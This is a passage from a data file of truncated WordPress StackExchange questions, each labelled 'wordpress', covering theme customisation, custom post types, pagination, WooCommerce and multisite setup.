attacked by so many IP's ... ",['wordpress'] "Title: How to remove calendar widget? Body: I just want to remove calendar widget from the dashboard. How can I do that? ",['wordpress'] "Title: Add a 'guide' image to custom post type admin page Body: I've created a custom post type and on the admin page for that post type I want an image displayed that can act as a guide for the users uploading images. Is there a function that I can use to insert ... ",['wordpress'] "Title: Plugin.php: PHP Notice: Undefined offset: 0 in Body: I moved a WordPress site from one domain to another and there were a lot of white spaces that needed to be removed. The only problem that is left are the following errors: PHP Notice: Undefined ... ",['wordpress'] "Title: Woocommerce: Grab total revenue of a product over all orders Body: I need to display the total revenue of all orders for my products depending on if the logged-in user is the author of the product or not. I can't use the Quantity field as a multiplier either because ... ",['wordpress'] "Title: How i can get blog info using site url in multi-site Body: How i can get blog info using site url in multi-site for eg : if i give the site url as http://a.somename.com and this should return me the value like Site Name Site Tag line Site Database Table ... ",['wordpress'] "Title: Get Related Posts (custom post type) of Custom Taxonomy, Most to Least? Body: I'm working on an image page feature which retrieves the MOST related posts (""image"" custom post type). So images with most terms in common should be listed first. But this does not seem to be ... ",['wordpress'] "Title: Include other parameters in permalinks for better management of browser history Body: In single.php, I have the following items that I manage (create, update, hide) with jquery/ajax: a <select> tag in which I return all website categories. a second <select> tag in which I ... ",['wordpress'] "Title: W3 Total Cache, Rackspace CDN and Load Balanced Servers Body: I'm using W3 Total Cache to host media attachments at Rackspace Cloud Files. I've got two servers running alongside one another with a load balancer. Everything works fine on the front end, but in ... ",['wordpress'] "Title: Archive Listing Page Theme Body: I am working on a wordpress template that needs a 'special' category listing page. First of all, the page kinda needs to look like this: http://quicksnaildesign.com/example-closed.jpg When you ... ",['wordpress'] "Title: How can I have different groups of editors only allowed to edit certain parent+subpages? Body: I've tried a bunch of different plugins, including Role Scoper, Advanced Access Manager, User Account Manager and more, to accomplish this but can't seem to get it working right. Basically, the ... ",['wordpress'] "Title: Why won't the action hook wp_head won't accept parameters? Body: I'm working on a plugin that adds scripting to the head using add_action('wp_head',..); I have to pass a variable to the function to get my desired result. To test this I'm simple ""echoing"" out the ... ",['wordpress'] "Title: Calling a function on admin_init when WP core files are in a subdirectory [closed] Body: I have an install set up along the lines of this tutorial, whereby my core files (wp-admin, wp-includes) are separate from the content folder: /wp/wp-includes/ /wp/wp-admin/ /wp/wp-load.php etc ... ",['wordpress'] "Title: How can I show/hide HTML elements if the page is_front_page Body: For example if its 'is_front_page' I want to hide a div. If its not the 'is_front_page' i want to show the div. How can i achieve this? I am not sure on how I can achieve this. Any assistance would ... ",['wordpress'] "Title: Use different single.php file based on condition Body: I am customizing my WordPress site's theme and i need to use a different single.php file based on the condition. Here is my user case, i need to design a competition page where i need to show entries ... ",['wordpress'] "Title: standard post with extra parameter brings permalink problem Body: This problem concerns several rewrite rules, but i'll stick to one, for clarity. In my theme, i use a parameter ""parentid"" which gives me the page/post/custom post i've clicked on (the parent). in ... ",['wordpress'] "Title: Remove wrong dashes from get_the_title() Body: I have a particular CPT post that has a dash (-) in its title. I copy this title in a variable $var using get_the_title() then I create a custom field somewhere else with a value equal to $var : ... ",['wordpress'] "Title: My theme saves their custom post type's metadata as a serialized array, how to access the keys? Body: I've recently bought the WP Directory Portal theme from ThemeForest. Since the theme doesn't do frontend posting of custom post types, I've resulted to using WP User Frontend Pro. There's a problem ... ",['wordpress'] "Title: How to show Title in woocommerce product category page? Body: I am here to ask a problem i am facing with my woocommerce plugin product category page, where i am not able to show the TITLE of each product using Yoast SEO plugin. When you checked in source there ... ",['wordpress'] "Title: WordPress site with custom theme, can't get pagination to update posts on page 2+ [duplicate] Body: I have inherited a WordPress site which has a custom theme which I have in the main been able to modify to suit the clients needs. I am having trouble, however, with the pagination of the ... ",['wordpress'] "Title: tax_query in get_posts() not working? Body: I'm trying to print out all the posts within every taxonomy for a custom post type called product (jigoshop products). So i get all of the taxonomies using $cats = get_terms('product_cat');, then i ... ",['wordpress'] "Title: Database create or redirect Body: I am working on a site ABC.com, I have only access to the root folder. I am planning to install wordpress. I need to somehow create a database without any cPanel. or the second option that comes in ... ",['wordpress'] "Title: WP e-Commerce (WPEC) Variations Sorting, Category Order and Taxonomy Terms Order Body: I'm using the WP e-Commerce plugin (Version 3.8.9.5) on Wordpress Version 3.5.1. I have created several products (shirts). They all have variations for ""Size"" (XS to 6XL). The variations are ... ",['wordpress'] "Title: What does this number represent in JetPack stats? Body: When signed into my blog, this graphic is up on top. I know it shows visitor pattern over 48 hours, but does anyone know what the number represents? I searched on the WP site, and am not finding ... ",['wordpress'] "Title: Have different site location for wp-admin in IIS Body: I'm attempting to put a WordPress blog on a Windows server. PHP and WordPress installed just fine, and I have a working website, and admin site. However, I want to access the wp-admin directory using ... ",['wordpress'] "Title: Test if key is in user_meta array Body: I want to associate certain users by means of a custom key stored in the user_meta for both users. There may be more than one-one relationships, so it'll be in an array. If 2 users have the same key ... ",['wordpress'] "Title: Custom metaboxes not saving after switching themes Body: I recently switched themes and copied over my metaboxes from the old functions.php into the new one. They show up but when I click publish/edit they dont save add_action( 'add_meta_boxes', ... ",['wordpress'] "Title: How to consolidate all sitemaps in a multisite network? Body: I have a multisite installation with quite a lot sites on subdomains. The problem is that all multisite sitemap plugins create a separate sitemap for each site. I do not want to have to add dozens of ... ",['wordpress'] "Title: How to let crawlers search paginated comments? Body: With comment pagination, Google doesn't index the older pages and comments become essentially lost to searches. Is there a way to let search engines crawl paginated comments, perhaps by generating a ... ",['wordpress'] "Title: How to check if a custom user profile field is empty Body: i have this code to limit the comments per user. <!-- #only one comment --> <?php global $current_user,$post; $usercomment = get_comments(array('author_email' => ... ",['wordpress'] "Title: add conditionals to a displayed external xml feed Body: I found the following code online and customized it to pull the xml feeds from our online calendar software and display event information on several different WP pages. function otpl_add_class_feed() ... ",['wordpress'] "Title: Pagination when using multiple loops Body: I've populated my index.php with various post loops and I want to be able to get pagination working. The reason for multiple loops is because I'm pulling in posts from different categories in ... ",['wordpress'] "Title: Problem with articles feed: XML Parsing Error: XML or text declaration not at start of entity Body: I have a problem with WordPress articles feed. I have discover it analyzing what googlebot is scanning on my site and I disconvered that it is scanning only the feed and not the articles... So I have ... ",['wordpress'] "Title: Wordpress admin loads erratically “connection reset by peer” Body: I've been managing an Wordpress install for several months now without issues. This morning a user notified me that they could not log in to the admin page via /wp-admin. I was not able to login from ... ",['wordpress'] "Title: Adding code to the function file Body: I would like to move my large php functions out of the index or template files and into the function.php file. Would it be something like this? function grab_code(???) { ??? .= '<div>some ... ",['wordpress'] "Title: Private feedback on users Body: I am trying to find a way for users to write private/anonymous feedback on each other (similar to ebay or amazon but private, and so that users can view feedback on them and feedback they have sent). ... ",['wordpress'] "Title: Dissapered all posts by 2013 year Body: Dissaperd all posts posted in 2013. There are no posts, images and tags for this year. I've checked it in the phpMyAdmin and find them. But they don't shows in administrtor panel. Any idea? Thanks! ",['wordpress'] "Title: WP_Query with ajax handler returns the same posts Body: I have a problem that is getting me bald atm. I have a ajax call that handles a loop that handles some querys and returns posts for me. So far so good, but the first time the user sees the page we ... ",['wordpress'] "Title: Multi Site Setup, Child Themes, Getting Style Sheet Directory Body: As the title says, I have a multi-site setup and the apperance is customized with child themes. The main site: themainsite.com Secondary site foo.com When you look into the source code of ... ",['wordpress'] "Title: Woocommerce getting top level category parent and make all sub categories have the same template and menu Body: I want to get the top level category parent which is ""wedgwood"" so i give it a different menu and different template that what i wrote so far but it dont apply except on ‘wedgwood’ category wegdwood ... ",['wordpress'] "Title: Adding a custom line of text to php code Body: The below code is used to pull in my Tweets and post them as individual blog posts on my Wordpress site. I would like to add a ""Follow me on Twitter link"" after the tweet when it is displayed in the ... ",['wordpress'] "Title: Can't access a new site created on sub-domain multisite install Body: I have set up a new mutlisite with sub-domains. I use HostGator, and through the c-Panel created a wildcard subdomain like *.domain.com. It is pointed to the /public_html for the root. However, when ... ",['wordpress'] "Title: How can I count articles retrieved by tags Body: how can i get posts retrieved by tags, I want to count them. The code i want to use in tabs. Ex: Movies(3) , Articles(15) Movies and Articles are Tabs. I know how to retrieve the count of posts ... ",['wordpress'] "Title: Output custom field as ul list Body: I have a custom field who's content I would like to output as a ul list. The custom field contains words that are separated with a spaces between. I'm trying to use this code here but it's not ... ",['wordpress'] "Title: Letting clients use visual builders plugins/themes on WordPress Multisite installation Body: I use WordPress Multisite to create and manage my users websites. I was wondering - Is it possible (and legal by copyright laws) to buy one of those visual builders plugins/themes and also let my ... ",['wordpress'] "Title: Exclude admin bar from showing avatar customization Body: I am customizing the WP avatar (to fit a grid) and do not want the avatar customization to show on the admin bar drop down or in the dashboard or on the site (when the admin bar is visible). I have ... ",['wordpress'] "Title: Pagination - works on local but not live dev! Body: Can anyone please shed some light as to why the following to print out page numbers works on my local dev server but not on my live server? Both server are running same version of PHP. My Loop ... ",['wordpress'] "Title: Adding featured image to posts created by a plugin Body: The below code is part of Keyring Social Importer, and it imports my Tweets from Twitter and posts them as individual blog posts on my Wordpress.org install. I was wondering how I could make it set ... ",['wordpress'] "Title: Pagination using wp-pagenavi not working [duplicate] Body: I use the plugin called wp-pagenavi to do pagination in my custom template. But it shows that only one page is available.I have 10 posts of a specific category. I want to show 3 posts per ... ",['wordpress'] "Title: Custom Registration Template/Page Body: Is there a way to display the WordPress register form on a custom page the way one would use <?php get_search_form( $echo ); ?> for a search form? If not how would one go about creating such a ... ",['wordpress'] "Title: Custom image upload Body: I'm trying to setup upload for for attachments for my custom post form. At first I add to my form tag enctype=""multipart/form-data"" For testing purposes I have two upload forms, but in future I'm ... ",['wordpress'] "Title: mobile vs responsive sites [closed] Body: A web company for a medical clinic in the US is telling me that it is cheaper for them to build regular WP site and a separate WP mobile site than a single WP responsive site. What is the ... ",['wordpress'] "Title: problem with has_post_thumpnail in foreach loop Body: I have a code that display the post if has_post_thumpnail the problem is it shows all the posts wheather it has thumpnail or not <?php global $post; $args = array( 'numberposts' => 5 ); ... ",['wordpress'] "Title: Advice for Beginner in Wordpress [closed] Body: I am very new to the wordpress. My simple objective is i want to create one website with database. I have donwloaded wordpress. After this how should i start installing and configuring my local setup ... ",['wordpress'] "Title: How can I prevent my plugin's next version from updating one of the files? Body: I read in another question that all the files in the directory are deleted during an update and this is bad design. Got it. Prevent plugin from deleting important directories Is it possible to not ... ",['wordpress'] "Title: How to delete cached transients from a widget instance properly? Body: So I have created this widget which pulls a number of posts. And the query is being cached via transients. But I need the transient to be deleted whenever a post is saved so the query can be ... ",['wordpress'] "Title: Walker_Nav_Menu exeption Body: I'm currently working on a WordPress site and whenever in the admin I go the Appearance > Menus page I get the following error: ErrorException: Runtime Notice: Declaration of ... ",['wordpress'] "Title: How does WordPress access theme and plugin files through its editor? Body: I love that WordPress enables you to edit files in the WP back end, but I want to know how it works. How is WordPress able to access and allow you to edit files that are on a server like that? Please ... ",['wordpress'] "Title: Custom navigation links issue Body: I am using jquery to load the pages into my blog. They slide in. In order to do this, I have to put them in an un ordered list and each page the slides in will have to have this custom structure. ... ",['wordpress'] "Title: How to make a plugin appear only to a certain role of user? Body: I'm using a plugin called ""Team Result"", to create team results and things like that. It appeared on the dashboard for admin(me). As you can see in this print ... ",['wordpress'] "Title: get_the_term_list & url Body: I have 2 custom post type and i want to link them together with an url from the first one and a image from the second one. I can get the title and the url of my taxonomy like that : ( CPT = ... ",['wordpress'] "Title: Why aren't correct-size image versions created according to Media Settings? Body: I currently have Media Settings on my blog to set to the following. Note the settings for 'medium' and 'large' sized versions. But once I upload an image, the post-upload media manager doesn't ... ",['wordpress'] "Title: Does having multiple random posts add up to server load and page load times? Body: I have 8 post types in wordpress and have the following query in functions.php file 8 times So will it put load on mysql and decrease load times? // random jokes function randJokes($rJokes){ ... ",['wordpress'] "Title: Unwanted content in website title Body: I use ""anythingslider"" jquery plugin to animate some html content in my wordpress theme. and i use this code in header.php to show title: <title><?php bloginfo('name'); ?> <?php if ( ... ",['wordpress'] "Title: Show the title of the latest post by author Body: I have the following function which I use to show the author name,author avatar and the author biography in a div. I need to show the title of the latest post by the author along with this. Can anyone ... ",['wordpress'] "Title: custom post status and preview Body: I am using wordpress 3.4 (the last before 3.5) and I have declared a post status type, and a custom user role called agent. It is for a custom post type, property. register_post_status( ... ",['wordpress'] "Title: Access for adding subpages but not for pages Body: For every website project, i make the wordpress admin custom for the client. Right now, i want that the client only has access to add subpages. I have a main navigation on the website. I want that ... ",['wordpress'] "Title: WooCommerce Tabs Body: In my theme, I have the WooCommerce plugin installed and would like to rename the ""Catalog"" tab, located under the WooCommerce > Settings submenu page. Am I able to do this from my functions.php ... ",['wordpress'] "Title: How to use get_template part in the plugin? Body: I was using the entire template in the plugin, but I would like to use get template part, so that I can reuse the header and footer in the original template. The code is like this: add_filter( ... ",['wordpress'] "Title: How to check if a theme is active? Body: I'd like to be able to check if the twentytwelve theme is active. I know if I was checking for an active plugin I'd do something like: $active_plugins = apply_filters( 'active_plugins', get_option( ... ",['wordpress'] "Title: post count on toggel menu - product category Body: I want to add post count on product catalog at widget toggle menu. so product catalog menu will have post count examp computers (2), PC (15) etc. below is the php lines <?php /** * Your ... ",['wordpress'] "Title: Show the latest post from child category? Body: How do i show the latest post from a child category? I have the category Photos, but I want to only show the latest post from the Child category ""Paparazzi"" what do i add to the code below to do ... ",['wordpress'] "Title: Better wordpress attachment query then this Body: I have a site with more then 10.000 posts and images, its classipress site. I need somehow to show all images from posts that are on pending status, and who havent expired(post meta). This is the code ... ",['wordpress'] "Title: magic “MENU” button under Twenty Twelve theme Body: I'm using Twenty Twelve with one of my sites on WordPress and someone told me that the site wasn't appearing as it should. She told me that instead of the menu, she saw a ""MENU"" button, which if ... ",['wordpress'] "Title: New posts label category with “new” Body: I have 3 different custom post types, with each type forming my main navigation. When I post something new under one of them, I want that category in the nav to be marked with a ""new"" label for a ... ",['wordpress'] "Title: Changing the meta_query of the main query based on custom query_vars and using pre_get_posts Body: I've registered custom rewrite rules and query_vars to use for displaying a list of events based on ISO date format. For example when a user requests the URL, http://site.com/by-date/2013-04-04/, my ... ",['wordpress'] "Title: nginx varnish w3 total cache issues Body: I converted a few sites from Apache to nginx and it was running well for a while. I recently updated the nginx configuration regarding the new changes to W3 Total Cache rules. I also tried to clean ... ",['wordpress'] "Title: the_time() returning wrong date/time (way in the future) Body: Within a loop, that otherwise works fine, the_time() is giving me a date and time about 25 days and a few hours ahead of the actual date.For instance, if I post today, it lists it as ""April 30th, ... ",['wordpress'] "Title: Wordpress DB collation for hebrew site Body: My current db collation is utf8_bin with utf8 charset. When I add image title via admin (attachment plugin) in hebrew language I got something like ""u05e9u05dcu05d5u05dd"". What I have to do to fix ... ",['wordpress'] "Title: Import custom database into wp and keep the post id Body: Hello guys I have a project where I need to import an old database to wp but I need a solution to keep the old id's as posts id so i can make the links look the same as the old website in this way we ... ",['wordpress'] "Title: Custom Loop, Match Category with Page: How to display post featured image? Body: I found this answer. It saved my day, but could you tell me how to display featured image of the post with the following code? When I'm using <?php echo $cpost->post_thumbnail('thumbnail', ... ",['wordpress'] "Title: Code not looping over all products of a given category Body: I try to fetch all products for a given category managed by the wp e-commerce plugin, but the code I use is not looping all the products returned. All the code is a sort of API to look for products ... ",['wordpress'] "Title: Adding (blog-specific) links to “My Sites” admin page Body: The My Sites admin page only has links to the sites’ dashboards and production pages which is of limited value. I am trying to figure out a way to add a more useful links to them like New Post, ... ",['wordpress'] "Title: Multiple Wp-Query Loops inside index.php Body: The site url is: http://aachurch.org/reborn I'm trying to achieve multiple wp-query loops inside my index.php, showing different categories of posts. The first loop works but nothing shows up for the ... ",['wordpress'] "Title: Problem adding MP3 attachments to a jPlayer playlist Body: I'm trying to get a post's mp3 attachments working with the jplayer plugin (with playlist addon). I have it working for a set number of attachments, but am failing to find a dynamic solution for any ... ",['wordpress'] "Title: Action hook 'save_post' triggered when deleting posts Body: I developed a custom plugin which rewrite some content of my posts, but when i move a post to trash, the action hook 'save_post' is triggered and the post is not deleted. A simplified version of my ... ",['wordpress'] "Title: Showing Author Information and Latest Post by author in lightbox when clicked on the name of the author Body: I am showing details of all the authors including the avator, Name, Description in my blog. When I click on the OPTIONS TO CONNECT link a lightbox will open and I need to show those details(which I ... ",['wordpress'] "Title: Customize Link button in TinyMCE Body: I would like to add a text field to the popup that appears when I click on the link button in the visual editor and add a function that uses this input. Background: I'm using Lightbox Plus and I ... ",['wordpress'] "Title: Extending arrays in parent theme without completely overriding the files Body: I am new to all child-theming things and trying to override an array value which is declared in one of the php files. I also don't want to override the whole php file, because it has many other ... ",['wordpress'] "Title: List of Posts in a Custom Field Body: I have a question. I have a custom post type called Place. I have a situation that there can be place in place. I want to have a custom field parent_place where I could choose a parent of place. The ... ",['wordpress'] "Title: Post interior margin in twenty eleven theme Body: I'm trying to customize the aspect of a single format post, in my case is ""Link"". I've added a different color background so they look different, editing the CSS as this: .format-link .entry-content ... ",['wordpress'] "Title: Alternative to the filter comment_reply_link Body: I'm making a plugin and need to add a link to every comment on the front-end. I've used the filter comment_reply_link but that filter doesn't work when we're on the lowest level of threaded comments ... ",['wordpress'] "Title: Issue after changing permalink structure [duplicate] Body: My old permalink structure is like this: domain.com/POSTNAME/ My new permalink structure was switched to this: domain.com/CATEGORY/POSTNAME/ I need to set up a 301 redirect in htaccess that ... ",['wordpress'] "Title: How to delete all posts, categories and tags from Wordpress database Body: I have WP website with over 40,000 posts. Now I'll like to delete all posts, categories and tags. So All content and related meta. All I want to keep is static files. Is there a easy way to do this ... ",['wordpress'] "Title: method doesn't work when being called from wp cron Body: I don't know what's wrong but the method that I'm trying to execute doesn't seem to be running when being called through wp cron. In the code below I'm trying to insert a new blog post. When I have ... ",['wordpress'] "Title: Catch 404 after changing permalink structure from /%postname%/ to /%category%/%postname%/ Body: I made a site some time ago and after some days some posts were indexed by search engines. Today I changed the permalink structure from /%postname%/ to /%category%/%postname%/. After that, when ... ",['wordpress'] "Title: Adding a widget breaks my child theme - *But I'm not calling any widgets!* Body: I'm trying to design a child theme, based off of twentytwelve, and I'm running into a puzzle I can't even figure out how to troubleshoot. Basically, my theme explodes when I enable any widgets. It ... ",['wordpress'] "Title: Single Post template and Archive Post template Body: For the Single post, wordpress would choose the Single.php. which is below <?php /* Template Name: single movie Template */ get_header(); ?> <div id=""primary""> <div ... ",['wordpress'] "Title: Thumbs and pictures not showing anymore Body: After moving my site to a new VPS cloud server, things worked fine for a couple of days, but this morning all of the thumbs and pictures stopped showing, even though they're still in the same ... ",['wordpress'] "Title: Create WP account from an external email form submission? Body: I have a single email field form on a static, 1 page html website which upon submitting, I would like it to pass the entered email to a WordPress install to use as an email for a new account. The html ... ",['wordpress'] "Title: Filter orders by product in admin Body: I'm setting up Woocommerce store for a client who is selling tickets to multiple different live shows. On the night of a show, the box office manager needs to be able to view only orders that contain ... ",['wordpress'] "Title: Custom loop won't work, can't find problem Body: I can't figure out why this custom loop isn't displaying for me:. I've tried removing the if statement and removing certain query parameters but it just won't display. If I delete the loop entirely ... ",['wordpress'] "Title: getting a post id from a custom type post Body: changed a wordpress to use custom type posts instead of pages. I'm Trying to update a plugin to work with this change. currently I'm stuck with just getting the right id from the post here's the ... ",['wordpress'] "Title: Pagination for blocks with custom post_queries Body: I tried many of pagination functions but no one is working good. They all display page count and link to page but when I click on the link no result. Nothing is changed except browser's adress link. ... ",['wordpress'] "Title: Custom Metaboxes, multiple post selection Body: I have the following custom meta-box, which works to list a post type, I simply want to allow multiple values to be selected but cannot get it to work, it appears if I tell the select to store ... ",['wordpress'] "Title: About: Jigoshop - change the order in which products show up in a grid Body: I found a piece of code you wrote, this piece of code is exactly what I want to order products on a category basis, but it does not seem to have any effect when I test it. Your code: ... ",['wordpress'] "Title: How to add a div around the default gallery output Body: I would like to add a container around the default [gallery] output. I don't want to modify any core files, and add unusual lines to my functions.php. How to do that? What's the most elegant method? ",['wordpress'] "Title: How to i18n slugs for templates? Body: some templates are chosen from WordPress based on slugs (e.g. category-{slug}.php). Problem: How can I use the same template for an i18n'ed slug? Example: I have a category-news.php and an english ... ",['wordpress'] "Title: How to position a `Advanced Custom Field` before the editor Body: I have installed Advanced Custom Fields 4.0.1 and created a new Field group containing a single field called preamble. I would like to position this new field before the editor in the posts edit ... ",['wordpress'] "Title: sequnce in enter words in wordpss search using query Body: I have a problem in creating advanced search with custom query and using $wpdb->get_results($query , OBJECT); In Normal search in wordpress when we search xxx yyyy or search yyyy xxx we have same ... ",['wordpress'] "Title: How many users can WordPress handle? Body: I want to design a member login site in WP but I have a doubt that is WordPress can handle more than 40000 users on same database? I am not sure about this so I am stooping my work here. So please ... ",['wordpress'] "Title: How to add the sidebar in all category page Body: I created custom post type. I created category called product-categories. I listed all categories in sidebar.php. How to show the sidebar in all the category pages listing all the categories. ... ",['wordpress'] "Title: Create Pagination in Term list Body: I need to create numeric pagination in term list. Is there some options I can do this, i need to create a numeric pagination like the one we have for posts using wp-page-navi. Here is the code I am ... ",['wordpress'] "Title: Ajax call to minimal custom class with WP admin check Body: I'm creating a plugin that will submit requests via AJAX. As there will potentially be a lot of people submitting requests at once I call the file directly rather than through the WP ajax (reference). ... ",['wordpress'] "Title: Custom Post Type nest under a normal WordPress Page Body: EDIT Again, nope it's not impossible, just nasty. Solution below. Trying very hard to get this working. Have tried numerous suggestions here on stackexchange/overflow My goals are to simply select ... ",['wordpress'] "Title: Scheduled Post Meta Update in Wordpress Body: I have a system that sums up values from various sources and pass those to post_meta in order to query posts in accordance with the order of meta_value_num. I was successful at passing those value to ... ",['wordpress'] "Title: add sidebar area to header of child theme Body: How can I add some extra sidebar locations for widgets in a child theme. The difficulty I'm having is because the parent theme uses some pretty gnarly setup to define the current sidebars. I would ... ",['wordpress'] "Title: Retrieve a specific post's featured image and show on a different page Body: What I'm simply trying to do is grab the featured image thumbnail image from a specified post/page and display that image on any other page somewhere. So for instance, if it's a single post, use the ... ",['wordpress'] "Title: WP-Paginate giving “Page not found” error on page 2 [duplicate] Body: I have pagination showing for my second page, but when I click it I get a ""page not found"" page instead. The url is utcommons.com and the code for the index file can be seen at ... ",['wordpress'] "Title: Wordpress as framework Body: Working for couple of Months with Wordpress and developing basic plugins I have the impression that wordpress is not able to handle properly requests if more plugins are activated and mainly because ... ",['wordpress'] "Title: Attach time/date stamp on add_post_meta Body: we have an image viewer on our website where admins can tag images thought ajax (new feature on Wordpress 3.0). We are tagging just fine, but we need to filter when they were tagged. We are using ... ",['wordpress'] "Title: How to display product categories and number of sales on WooCommerce Body: I am currently working on a WooCommerce site.I managed to set it up,do some configuration according to my plan.Now i want to display product categories alongside each products in product catalog,and ... ",['wordpress'] "Title: Headers already sent on a frontend post form using wp_redirect before get_header Body: I've gone through the various issues with headers already sent, checking for white space and making sure that the get_header line appears after the wp_redirect but I'm stuck. The code is: <?php ... ",['wordpress'] "Title: Correct syntax for retrieving custom field in CPT Body: I don't understand when to use $post->ID or $post->post->ID with CPTs. I have : $event = get_post( $event_id ); $event_pre_register = get_post_meta($event->post->ID, ""Event Pre-register ... ",['wordpress'] "Title: get_avatar won't show uploaded avatar, only default gravatar Body: I'm using the Simple Local Avatars plugin so my bbPress forumgoers can upload their own avatars. Now, when a user logs in, I want his/her avatar to display next to the relevant links (i.e. logout, ... ",['wordpress'] "Title: Theme menu items are added by latest items first Body: I am using a theme that is adding menu items and ignores the Wordpress menu editor. The way it adds menu's is like this: It adds all pages to the menu, and in the order you add the page - So if you ... ",['wordpress'] "Title: site_url and $current_user producing undesired results Body: I am trying to make the link like this: site.com/forums/user/userid using the code below. I think I messed it up though because it keeps producing an error on this line. $buttons['Edit My Profile'] ... ",['wordpress'] "Title: JsFiddle output does not work with WP-Markdown Body: I have been using this plugin called WP-Markdown in my blog. I want to show jsfiddle output on my post. Earlier I used to simply use this option <iframe width=""100%"" height=""300"" ... ",['wordpress'] "Title: Advanced Custom Fields Plugin: Get file URL into Parent Body: On parent page, I've got a grid of custom field values from child pages. All text fields work fine, but I'm having issues with the file URL fields: instead of the URL it returns attachment ID. Here's ... ",['wordpress'] "Title: Complex regex to add_rewrite_rule Body: I'm making a plugin and I need to get the URL stay that way: /user/user-name/musics/music-category-slug/page/1 Real example: /user/mike-yoles/musics/rock/page/1 . user/ => post_type ( I ... ",['wordpress'] "Title: Wordpress truncate posts question (plug-in related) Body: I'm using a plug-in (""Wordpress plugin random post slider"") for Wordpress that pulls a random post from a category, and displays it in a slider for use as a shortcode or php code in a template. I've ... ",['wordpress'] "Title: Wordpress duplicate content with wp_link_pages [duplicate] Body: Currently I am using wp_link_pages in my single.php post template using <!--nextpage--> to split a post into multiple pages, but i have a serious problem with google webmaster and duplicate ... ",['wordpress'] "Title: get_template_part from plugin Body: This is default get_template_part function inside WordPress: function get_template_part( $slug, $name = null ) { do_action( ""get_template_part_{$slug}"", $slug, $name ); $templates = array(); ... ",['wordpress'] "Title: Show posts in a list separated by day Body: I want to display posts on index page within a links-list, with only the titles, till now i did the job, but now i want to have space between titles and be separated by day. Please check wimp.com ... ",['wordpress'] "Title: non-hierarchical custom taxonomy using checkboxes on edit-screen -> saving issue Body: I registered a non-hierarchical custom taxonomy ('property_features'). There is a checkbox for every terms of this tax in a custom meta box on the edit-screen. All terms are displayed and all terms ... ",['wordpress'] "Title: Modify custom Users Manage page Body: I'm trying to create a submenu page under 'Users' which is like the 'All Users' page but for listing users of specific roles only. Let's just call this submenu page 'Customer'. So far I managed to ... ",['wordpress'] "Title: wp_get_attachment_image_src returns incorrect URL on multisite Body: I'm not sure how much code to post because I don't think too much is relevant. I'm just dumping the contents of wp_get_attachment_image_src and the contents turn out to be incorrect on multisite. ... ",['wordpress'] "Title: Using index.php as page template Body: When you put a name at the top of your index.php like: <?php /* Template Name: Blog Template */ ?> it will work for front-page and it will also create a new page template. I'm wondering if ... ",['wordpress'] "Title: Search Form Not Working Body: www.milknhny.co.uk/ClearWatch Im using a basis of the Twenty Twelve theme and im using the below script (yes i know that the wrappers are not correct as yet) However its defaulting back to the main ... ",['wordpress'] "Title: Roots-theme dropdown bug below 979px [closed] Body: Im using the wordpress theme ""roots"". If the width of the site is below 979px the navigation disappears and the tablet menu-button appears. If you click on a dropdown-menu, the height of the ... ",['wordpress'] "Title: Do someone know how to fetch post images sizes via MYSQL Query? Body: i am developing a web-services using PHP with adodb classes. what i trying to do is that i need the image sizes of the post i.e(thumbnail, medium, large) size. I am able to fetch the post original ... ",['wordpress'] "Title: How to get or know the slug of home.php Body: I found this code from Different Main Navigation per category: <?php if(is_category('first-category') || in_category('first-category)) { wp_nav_menu( array('menu' => 'First Category Nav' )); ... ",['wordpress'] "Title: Figure element with multiple image short code Body: I have a short code I developed that goes like this: [figure description=""""] [image src="""" title=""""][/image] [image src="""" title=""""][/image] [image src="""" title=""""][/image] [/figure] What it does ... ",['wordpress'] "Title: Display categories and their IDs Body: Could anyone please tell me the code to display parent categories and their children along with their IDs? I'd like to, for example, print them in this way: Europe, United Kingdom, London (Europe is ... ",['wordpress'] "Title: I don't need 'view' page for my custom taxonomy Body: I have a custom post type with a custom taxonomy. I don't link to the taxonomy on the page but from the admin anyone can visit the taxonomy/term url and the unstyled list page will be visible. How can ... ",['wordpress'] "Title: Display background color or image with custom meta box? Body: With custom meta boxes, how would I go about displaying the background image (or color if no image is linked) within the page. Code for the page where I want data to displayed. I want to apply the ... ",['wordpress'] "Title: Multiple custom fields with the same name Body: Is it possible to have several custom fields with the same name? For example, I have a custom field called ""promotion"" for a CPT called ""event"". Sometimes there are more than one promotion applied ... ",['wordpress'] "Title: Checking if field is set before comparing with meta_query in query_posts? Body: I have a query set up to compare the start and end dates for some custom fields. The start date is required for the post; however, the end date is not. This causes some issues with the following: ... ",['wordpress'] "Title: How do I save user_meta from user list column? Body: I have two additional columns on the user list view. 1 just grabs data that has been set, but I want to make 2 savable from column view. So far I've this: function modify_user_table($column) { ... ",['wordpress'] "Title: Prevent PHP execution via htaccess but disables thesis theme? Body: So I'm trying to secure my wordpress site because it's been infected multiple times with malware. One of the suggested steps is to basically prevent php execution in the wp-content directory via ... ",['wordpress'] "Title: What do the numbers mean at the end of add_action('save_post')…? Body: I've seen on a few tutorials that there are numbers at the end of the call to save Custom Fields/Meta Boxes on the save_post hook. For example, in the WordPress Codex it gives the following example: ... ",['wordpress'] "Title: How to add custom button to new media upload interface Body: I am developing a plugin and i want to add my own button to the wordpress media upload interface (WP version 3.5). Right next to the standard 'insert into page' button, i want my button to be there, ... ",['wordpress'] "Title: Color Options from Theme Customizer API not returning via get_theme_mod() Body: I am working with the Theme Customizer API and am going crazy trying to find the stored values. The values successfully save and update on the front-end, so they are obviously registered ... ",['wordpress'] "Title: Show pages and articles in category search result Body: I'm using ""Map Categories to Pages"" to add categories to pages. When I call the link http://mypage.com/category/catA+catB I get all my articles, that are associated to the categories catA and catB. ... ",['wordpress'] "Title: Problem with Search Results in WP (not displaying the full posts) Body: In this momment, in search results appear the post but without categories (I think are hidden) and with the links from posts broken. I have a piece of code in this theme that i think is responsible ... ",['wordpress'] "Title: How to display links from my post on my home page Body: I would like only links from a post to appear on my homepage. Then when the user clicks the link it will take them to the actual post. Similar to www.rr.com homepage. Any help will be appreciated. In ... ",['wordpress'] "Title: uninstall.php file in Plugin to clean DB Body: I am aware that WordPress provides Plugins a nice way to clean up the db if the Plugin is deleted by providing the uninstall.php hook. You just have to place the cleaning code and it works. But my ... ",['wordpress'] "Title: How to use next_posts_link/previous_posts_link for custom post types paginate? Body: I have a question about usage of previous_posts_link/next_posts_link. Is it possible to use it for custom post types too? I like to hear from you. Thanks in advance. Casper ",['wordpress'] "Title: How to Increment ID value within ACF Repeater Field Loop Body: The code below is meant to display an Advanced Custom Fields Repeater field. I need to have unique values for the ""for"" attribute of the Label tag, and for the ID value of the trailing checkbox input ... ",['wordpress'] "Title: Change post_format with form in admin Body: I have a 